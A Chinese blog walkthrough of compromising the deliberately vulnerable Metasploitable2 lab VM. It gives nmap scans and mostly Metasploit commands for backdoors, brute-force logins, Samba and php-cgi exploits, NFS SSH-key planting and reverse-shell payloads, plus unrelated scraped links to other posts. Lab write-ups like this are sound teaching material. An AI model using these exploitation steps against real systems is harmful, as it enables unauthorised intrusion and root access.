Metasploittable2打靶教程

本次靶机练习主要熟悉:高危端口利用;metasploit中search,show及各个模块使用。

一、环境准备

1.把靶场放在vmware打开,启用nat模式:

2.启用kali

二、信息收集

3.确认目标:

使用nmap扫描该局域网,确认目标开放端口服务信息。

sudo nmap -sS 192.168.1.0/24

这是后面复现完第一张漏洞时,查看靶机漏洞清单,发现少了些端口,还以为是自己靶机没开这些端口呢,结果是自己nmap端口没扫完。这是后面重新扫描的第二张,可见最好平时做实战及靶机时最好扫完 全端口,以免遗漏高端口漏洞。

4.确认操作系统

sudo nmap -O 192.168.1.0/24

也可以和之前的命令一起用

例:sudo nmap -sS -O 192.168.1.0/24

实战中:在确认目标IP后,建议使用:sudo nmap -PN -O 192.168.1.130

更详细服务信息,以便收集已公开漏洞

sudo nmap -sS 192.168.1.130

漏洞清单:

从顺序来吧

21(ftp)

vsftpd是在UNIX 类操作系统上运行的一个完全免费的、开放源代码的ftp服务器软件

可用msf扫描该服务,该ftp正常来说只有匿名访问和弱口令。

匿名访问:

1.启用msf

msfconsole

2.寻找漏洞代码 (vsftpd),查看该服务有无漏洞

search vsftpd

3.使用

use 0

显示payloads

 show payloads

只有一个就自动选择

也可手动定义payload

4.查看配置

show options

5.设置目标

set rhost 192.168.80.130

6.运行

run 或者exploit

直接root权限

22(ssh)

Search  ssh_login       搜索模块
Use auxiliary/scanner/ssh/ssh_login 使用模块
Set RHOST 192.168.1.130 设置目标地址
Set USER_FILE XXX 设置用户字典路径
Set PASS_FILE XXX 设置字典密码路径
Set THREADS 100 设置线程是100
Run

爆破成功msfadmin:msfadmin

23(telnet)

search telnet_login
use 1
Set RHOST 192.168.1.134 设置目标地址
Set USER_FILE XXX 设置用户字典路径
Set PASS_FILE XXX 设置字典密码路径
Set THREADS 100 设置线程是100
Run

80(php-cgi)

先访问该该网站是什么站:

  • Mutillidae 和 DVWA这两个练习平台就不说了

  • 扫描目录发现漏洞点

    • 2012年的漏洞

      server API 是CGI方式运行的,这个方式在PHP存在漏洞-Cgi参数注入

    • phpinfo.php ===>php-cgi

    • phpadmin

search php-cgi
use 0
set rhost 192.168.1.130
run

111(RPC)

auxiliary/scanner/misc/sunrpc_portmapper

只能拿来ddos

139,445(smba)

1.Samba 在配置了可写文件共享并启用了“宽链接”(默认打开)时,也可以用作某种后门来访问不打算共享的文件。

 smbclient -L //192.168.1.130

use auxiliary/admin/smb/samba_symlink_traversal
set rhost 192.168.1.130
set SMBSHARE tmp
run

smbclient //192.168.1.130/tmp

SambaMS-RPC Shell 命令注入漏洞

search samba
use exploit/multi/samba/usermap_script
set rhost xxxx
run

512.513.514 (r)

TCP 端口 512、513 和 514 被称为“r”服务,并且被错误配置为允许从任何主机进行远程访问

sudo apt-get install rsh-client
rlogin -l root 192.168.1.130

1099(java_rmi)

原理:Java RMI Server 的RMI注册表和RMI激活服务的默认配置存在安全漏洞,可被利用导致

use exploit/multi/misc/java_rmi_server

1524(ingreslock):

1524端口 ingreslock Ingres 数据库管理系统(DBMS)锁定服务

利用telnet命令连接目标主机的1524端口,直接获取root权限。

Ingreslock后门程序监听在1524端口,连接到1524端口就可以直接获得root权限, 经常被用于入侵一个暴露的服务器。

ingreslock 端口是为受感染服务器添加后门的流行选择。访问它很容易:

2049(NFS)

NFS全称Network File System,即网络文件系统,属于网络层,主要用于网络间文件的共享,最早由sun公司开发。

复现环境:Kali2017、Metasploit2

复现思路:利用NFS服务将本地主机的ssh公钥传输到目标主机上,再利用ssh连接到目标主机

1.kali下连接靶机的NFS服务

sudo apt-get install nfs-common
showmount -e 192.168.1.130
mkdir /tmp/192.168.1.130
sudo mount -t nfs 192.168.1.130:/ /tmp/192.168.1.130/
cd /tmp/192.168.1.130/
ls -la

2.将本地主机的ssh公钥发送到目标主机并通过ssh连接靶机

ssh-keygen
cat .ssh/id_rsa.pub >> /tmp/192.168.1.130/root/.ssh/authorized_keys
ssh root@192.168.1.130

不过这里遇到点小坑

解决办法:链接

 ssh -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa root@192.168.1.130

3306(mysql)

mysql空密码:

使用模块:use auxiliary/scanner/mysql/mysql_login
search mysql_login
use 0
set username root

3632(distccd)

除了上一节中的恶意后门,一些服务本质上几乎就是后门。

search distccd
use 0
set rhost 192.168.1.130

这里如果我们用默认的payload会no session,这里切换下payload

show payloads
set payload cmd/unix/reverse_ruby

5432(postgresql)

1.爆破:

auxiliary/scanner/postgres/postgres_login

postgresql 密码:postgres

2.Linux安装的PostgreSQL, postgres服务帐户可以写到/tmp目录,还有共享库,允许任意执行代码

这是nmap的指纹

也可以通过msf的模块:canner/postgres/postgres_version

后渗透利用推荐

5900(vnc)

vnc 密码: password

6667(IRC)

根据nmap指纹信息
search UnrealIRCd
use 0 || use exploit/unix/irc/unreal_ircd_3281_backdoor
set rhost 192.168.1.130
run

一把梭失败,检查错误:发现pay失败,切换payload。

查看可用payload

show payloads

8180(tomact)

暴力破解账号密码:tomcat;tomcat

metasploit2-practice的更多相关文章

  1. Pramp mock interview (4th practice): Matrix Spiral Print

    March 16, 2016 Problem statement:Given a 2D array (matrix) named M, print all items of M in a spiral ...

  2. Atitit 数据存储视图的最佳实际best practice attilax总结

    Atitit 数据存储视图的最佳实际best practice attilax总结 1.1. 视图优点:可读性的提升1 1.2. 结论  本着可读性优先于性能的原则,面向人类编程优先于面向机器编程,应 ...

  3. The Practice of .NET Cross-Platforms

    0x01 Preface This post is mainly to share the technologies on my practice about the .NET Cross-Platf ...

  4. Exercise 24: More Practice

    puts "Let's practice everything." puts 'You\'d need to know \'bout escapes with \\ that do ...

  5. ConCurrent in Practice小记 (3)

    ConCurrent in Practice小记 (3) 高级同步技巧 Semaphore Semaphore信号量,据说是Dijkstra大神发明的.内部维护一个许可集(Permits Set),用 ...

  6. ConCurrent in Practice小记 (2)

    Java-ConCurrent2.html :first-child{margin-top:0!important}img.plugin{box-shadow:0 1px 3px rgba(0,0,0 ...

  7. ConCurrent in Practice小记 (1)

    ConCurrent in Practice小记 (1) 杂记,随书自己写的笔记: 综述问题 1.线程允许在同一个进程中的资源,包括共享内存,内存句柄,文件句柄.但是每个进程有自己的程序计数器,栈和局 ...

  8. 1.2 基础知识——关于猪皮(GP,Generic Practice)

    摘要: 这是<CMMI快乐之旅>系列文章之一.说起猪皮(GP,Generic Practice),真的让人又爱又恨,中文翻译叫通用实践.CMMI标准中每个级别包含几个PA,每个PA又包含几 ...

  9. 2015年第2本(英文第1本):《The Practice of Programming》

    2015年计划透析10本英文原著,最开始选定的第一本英文书是<Who Moved my Cheese>,可是这本书实在是太短.太简单了,总体的意思就是要顺应变化,要跳出自己的舒适区,全文不 ...

  10. Java Concurrency In Practice -Chapter 2 Thread Safety

    Writing thread-safe code is managing access to state and in particular to shared, mutable state. Obj ...

随机推荐

  1. Java开发学习(四十五)----MyBatisPlus查询语句之映射匹配兼容性

    1.映射匹配兼容性 我们已经能从表中查询出数据,并将数据封装到模型类中,这整个过程涉及到一张表和一个模型类: 之所以数据能够成功的从表中获取并封装到模型对象中,原因是表的字段列名和模型类的属性名一样. ...

  2. Ubuntu20.04创建快捷方式(CLion)

    打开命令行,创建在桌面上xxx.desktop文件 touch ~/Desktop/Clion.desktop 编辑desktop文件 [Desktop Entry] Encoding=UTF-8 N ...

  3. 工程坐标转换方法C#代码实现

    目录 1. 前言 2. 计算总体框架 3. C#代码实现 3.1 整体类的构建 3.2 椭球参数赋值 3.3 转换1.3(大地经纬度坐标与地心地固坐标的转换) 3.4 投影转换 3.5 转换2的实现( ...

  4. 不用USB,通过adb无线调试安卓手机页面

    以前真机调试手机页面,都是使用数据线连接手机和电脑,近日身边没有USB数据线,折腾了下如何不依赖数据线只用无线调试手机页面,教程如下. 本教程适用于安卓11以及以上版本.否则应该使用USB数据线连接. ...

  5. 大数据HDFS凭啥能存下百亿数据?

    欢迎关注大数据系列课程 前言 大家平时经常用的百度网盘存放电影.照片.文档等,那有想过百度网盘是如何存下那么多文件的呢?难到是用一台计算机器存的吗?那得多大磁盘啊?显然不是的,那本文就带大家揭秘. 分 ...

  6. windows7系统中安装deepin系统虚拟机

    在windows系统中安装虚拟机首先需要在widows上下载并安装虚拟机创建工具VMware.这里用的工具版本是 VMware-workstation-full-9.0.2-1031769_www.s ...

  7. Git强制覆盖master

    场景 由于公司的项目中,有一个开发分支(这里假设dev​)是一个严重偏离master​,需要我去强制覆盖master​. 问题 这个场景带来了两个问题: ​master​是受保护不能强推 ​dev​分 ...

  8. Python实验报告(第8章)

    实验8:模块 一.实验目的和要求 1.了解模块的内容: 2.掌握模块的创建和导入方式: 3.了解包结构的创建和使用. 二.实验环境 软件版本:Python 3.10 64_bit 三.实验过程 1.实 ...

  9. [编程基础] Python字符串替换笔记

    Python字符串替换笔记 Python字符串替换笔记主要展示了如何在Python中替换字符串.Python中有以下几种替换字符串的方法,本文主要介绍前三种. replace方法(常用) transl ...

  10. java RSA加密

    参考了下面这个博主的文章,很有收获,简单处理后记录一下 RSA加密.解密.签名.验签的原理及方法 - PC君 - 博客园 工具类自带生成秘钥的方法,也可以用第三方工具生成秘钥 package com. ...